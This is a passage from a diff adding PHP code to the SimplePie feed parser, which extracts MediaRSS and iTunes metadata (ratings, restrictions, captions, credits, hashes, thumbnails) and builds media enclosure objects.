} + } + elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) + { + foreach ($ratings as $rating) + { + $rating_scheme = 'urn:itunes'; + $rating_value = null; + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings_parent[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + } + if (is_array($ratings_parent)) + { + $ratings_parent = array_values(SimplePie_Misc::array_unique($ratings_parent)); + } + + // RESTRICTIONS + if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) + { + foreach ($restrictions as $restriction) + { + $restriction_relationship = null; + $restriction_type = null; + $restriction_value = null; + if (isset($restriction['attribs']['']['relationship'])) + { + $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['attribs']['']['type'])) + { + $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['data'])) + { + $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + } + elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) + { + foreach ($restrictions as $restriction) + { + $restriction_relationship = 'allow'; + $restriction_type = null; + $restriction_value = 'itunes'; + if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') + { + $restriction_relationship = 'deny'; + } + $restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + } + elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) + { + foreach ($restrictions as $restriction) + { + $restriction_relationship = null; + $restriction_type = null; + $restriction_value = null; + if (isset($restriction['attribs']['']['relationship'])) + { + $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['attribs']['']['type'])) + { + $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['data'])) + { + $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + } + elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) + { + foreach ($restrictions as $restriction) + { + $restriction_relationship = 'allow'; + $restriction_type = null; + $restriction_value = 'itunes'; + if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') + { + $restriction_relationship = 'deny'; + } + $restrictions_parent[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + } + if (is_array($restrictions_parent)) + { + $restrictions_parent = array_values(SimplePie_Misc::array_unique($restrictions_parent)); + } + + // THUMBNAILS + if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) + { + foreach ($thumbnails as $thumbnail) + { + if (isset($thumbnail['attribs']['']['url'])) + { + $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + } + } + elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) + { + foreach ($thumbnails as $thumbnail) + { + if (isset($thumbnail['attribs']['']['url'])) + { + $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + } + } + + // TITLES + if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) + { + if (isset($title_parent[0]['data'])) + { + $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + } + elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) + { + if (isset($title_parent[0]['data'])) + { + $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + } + + // Clear the memory + unset($parent); + + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + // Elements + $captions = null; + $categories = null; + $copyrights = null; + $credits = null; + $description = null; + $hashes = null; + $keywords = null; + $player = null; + $ratings = null; + $restrictions = null; + $thumbnails = null; + $title = null; + + // If we have media:group tags, loop through them. + foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group) + { + // If we have media:content tags, loop through them. + foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) + { + if (isset($content['attribs']['']['url'])) + { + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + // Elements + $captions = null; + $categories = null; + $copyrights = null; + $credits = null; + $description = null; + $hashes = null; + $keywords = null; + $player = null; + $ratings = null; + $restrictions = null; + $thumbnails = null; + $title = null; + + // Start checking the attributes of media:content + if (isset($content['attribs']['']['bitrate'])) + { + $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['channels'])) + { + $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['duration'])) + { + $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $duration = $duration_parent; + } + if (isset($content['attribs']['']['expression'])) + { + $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['framerate'])) + { + $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['height'])) + { + $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['lang'])) + { + $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['fileSize'])) + { + $length = ceil($content['attribs']['']['fileSize']); + } + if (isset($content['attribs']['']['medium'])) + { + $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['samplingrate'])) + { + $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['type'])) + { + $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['width'])) + { + $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + + // Checking the other optional media: elements. Priority: media:content, media:group, item, channel + + // CAPTIONS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) + { + $caption_type = null; + $caption_lang = null; + $caption_startTime = null; + $caption_endTime = null; + $caption_text = null; + if (isset($caption['attribs']['']['type'])) + { + $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['lang'])) + { + $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['start'])) + { + $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['end'])) + { + $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['data'])) + { + $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text); + } + if (is_array($captions)) + { + $captions = array_values(SimplePie_Misc::array_unique($captions)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) + { + $caption_type = null; + $caption_lang = null; + $caption_startTime = null; + $caption_endTime = null; + $caption_text = null; + if (isset($caption['attribs']['']['type'])) + { + $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['lang'])) + { + $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['start'])) + { + $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['end'])) + { + $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['data'])) + { + $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text); + } + if (is_array($captions)) + { + $captions = array_values(SimplePie_Misc::array_unique($captions)); + } + } + else + { + $captions = $captions_parent; + } + + // CATEGORIES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) + { + foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['data'])) + { + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = 'http://search.yahoo.com/mrss/category_schema'; + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->feed->category_class($term, $scheme, $label); + } + } + if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) + { + foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['data'])) + { + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = 'http://search.yahoo.com/mrss/category_schema'; + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->feed->category_class($term, $scheme, $label); + } + } + if (is_array($categories) && is_array($categories_parent)) + { + $categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent))); + } + elseif (is_array($categories)) + { + $categories = array_values(SimplePie_Misc::array_unique($categories)); + } + elseif (is_array($categories_parent)) + { + $categories = array_values(SimplePie_Misc::array_unique($categories_parent)); + } + + // COPYRIGHTS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) + { + $copyright_url = null; + $copyright_label = null; + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) + { + $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) + { + $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label); + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) + { + $copyright_url = null; + $copyright_label = null; + if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) + { + $copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) + { + $copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label); + } + else + { + $copyrights = $copyrights_parent; + } + + // CREDITS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) + { + $credit_role = null; + $credit_scheme = null; + $credit_name = null; + if (isset($credit['attribs']['']['role'])) + { + $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($credit['attribs']['']['scheme'])) + { + $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $credit_scheme = 'urn:ebu'; + } + if (isset($credit['data'])) + { + $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name); + } + if (is_array($credits)) + { + $credits = array_values(SimplePie_Misc::array_unique($credits)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) + { + $credit_role = null; + $credit_scheme = null; + $credit_name = null; + if (isset($credit['attribs']['']['role'])) + { + $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($credit['attribs']['']['scheme'])) + { + $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $credit_scheme = 'urn:ebu'; + } + if (isset($credit['data'])) + { + $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name); + } + if (is_array($credits)) + { + $credits = array_values(SimplePie_Misc::array_unique($credits)); + } + } + else + { + $credits = $credits_parent; + } + + // DESCRIPTION + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) + { + $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) + { + $description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $description = $description_parent; + } + + // HASHES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) + { + $value = null; + $algo = null; + if (isset($hash['data'])) + { + $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($hash['attribs']['']['algo'])) + { + $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $algo = 'md5'; + } + $hashes[] = $algo.':'.$value; + } + if (is_array($hashes)) + { + $hashes = array_values(SimplePie_Misc::array_unique($hashes)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) + { + $value = null; + $algo = null; + if (isset($hash['data'])) + { + $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($hash['attribs']['']['algo'])) + { + $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $algo = 'md5'; + } + $hashes[] = $algo.':'.$value; + } + if (is_array($hashes)) + { + $hashes = array_values(SimplePie_Misc::array_unique($hashes)); + } + } + else + { + $hashes = $hashes_parent; + } + + // KEYWORDS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) + { + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) + { + $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords[] = trim($word); + } + unset($temp); + } + if (is_array($keywords)) + { + $keywords = array_values(SimplePie_Misc::array_unique($keywords)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) + { + if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) + { + $temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); + foreach ($temp as $word) + { + $keywords[] = trim($word); + } + unset($temp); + } + if (is_array($keywords)) + { + $keywords = array_values(SimplePie_Misc::array_unique($keywords)); + } + } + else + { + $keywords = $keywords_parent; + } + + // PLAYER + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) + { + $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) + { + $player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + else + { + $player = $player_parent; + } + + // RATINGS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) + { + $rating_scheme = null; + $rating_value = null; + if (isset($rating['attribs']['']['scheme'])) + { + $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $rating_scheme = 'urn:simple'; + } + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + if (is_array($ratings)) + { + $ratings = array_values(SimplePie_Misc::array_unique($ratings)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) + { + $rating_scheme = null; + $rating_value = null; + if (isset($rating['attribs']['']['scheme'])) + { + $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $rating_scheme = 'urn:simple'; + } + if (isset($rating['data'])) + { + $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value); + } + if (is_array($ratings)) + { + $ratings = array_values(SimplePie_Misc::array_unique($ratings)); + } + } + else + { + $ratings = $ratings_parent; + } + + // RESTRICTIONS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) + { + $restriction_relationship = null; + $restriction_type = null; + $restriction_value = null; + if (isset($restriction['attribs']['']['relationship'])) + { + $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['attribs']['']['type'])) + { + $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['data'])) + { + $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + if (is_array($restrictions)) + { + $restrictions = array_values(SimplePie_Misc::array_unique($restrictions)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) + { + $restriction_relationship = null; + $restriction_type = null; + $restriction_value = null; + if (isset($restriction['attribs']['']['relationship'])) + { + $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['attribs']['']['type'])) + { + $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($restriction['data'])) + { + $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value); + } + if (is_array($restrictions)) + { + $restrictions = array_values(SimplePie_Misc::array_unique($restrictions)); + } + } + else + { + $restrictions = $restrictions_parent; + } + + // THUMBNAILS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) + { + $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + if (is_array($thumbnails)) + { + $thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails)); + } + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) + { + foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) + { + $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + } + if (is_array($thumbnails)) + { + $thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails)); + } + } + else + { + $thumbnails = $thumbnails_parent; + } + + // TITLES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) + { + $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) + { + $title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $title = $title_parent; + } + + $this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width); + } + } + } + + // If we have standalone media:content tags, loop through them. + if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) + { + foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) + { + if (isset($content['attribs']['']['url'])) + { + // Attributes + $bitrate = null; + $channels = null; + $duration = null; + $expression = null; + $framerate = null; + $height = null; + $javascript = null; + $lang = null; + $length = null; + $medium = null; + $samplingrate = null; + $type = null; + $url = null; + $width = null; + + // Elements + $captions = null; + $categories = null; + $copyrights = null; + $credits = null; + $description = null; + $hashes = null; + $keywords = null; + $player = null; + $ratings = null; + $restrictions = null; + $thumbnails = null; + $title = null; + + // Start checking the attributes of media:content + if (isset($content['attribs']['']['bitrate'])) + { + $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['channels'])) + { + $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['duration'])) + { + $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $duration = $duration_parent; + } + if (isset($content['attribs']['']['expression'])) + { + $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['framerate'])) + { + $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['height'])) + { + $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['lang'])) + { + $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['fileSize'])) + { + $length = ceil($content['attribs']['']['fileSize']); + } + if (isset($content['attribs']['']['medium'])) + { + $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['samplingrate'])) + { + $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['type'])) + { + $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['attribs']['']['width'])) + { + $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); + + // Checking the other optional media: elements. Priority: media:content, media:group, item, channel + + // CAPTIONS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) + { + foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) + { + $caption_type = null; + $caption_lang = null; + $caption_startTime = null; + $caption_endTime = null; + $caption_text = null; + if (isset($caption['attribs']['']['type'])) + { + $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['lang'])) + { + $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['start'])) + { + $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['attribs']['']['end'])) + { + $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($caption['data'])) + { + $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text); + } + if (is_array($captions)) + { + $captions = array_values(SimplePie_Misc::array_unique($captions)); + } + } + else + { + $captions = $captions_parent; + } + + // CATEGORIES + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) + { + foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['data'])) + { + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = 'http://search.yahoo.com/mrss/category_schema'; + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->feed->category_class($term, $scheme, $label); + } + } + if (is_array($categories) && is_array($categories_parent)) + { + $categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent))); + } + elseif (is_array($categories)) + { + $categories = array_values(SimplePie_Misc::array_unique($categories)); + } + elseif (is_array($categories_parent)) + { + $categories = array_values(SimplePie_Misc::array_unique($categories_parent)); + } + else + { + $categories = null; + } + + // COPYRIGHTS + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) + { + $copyright_url = null; + $copyright_label = null; + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) + { + $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) + { + $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + 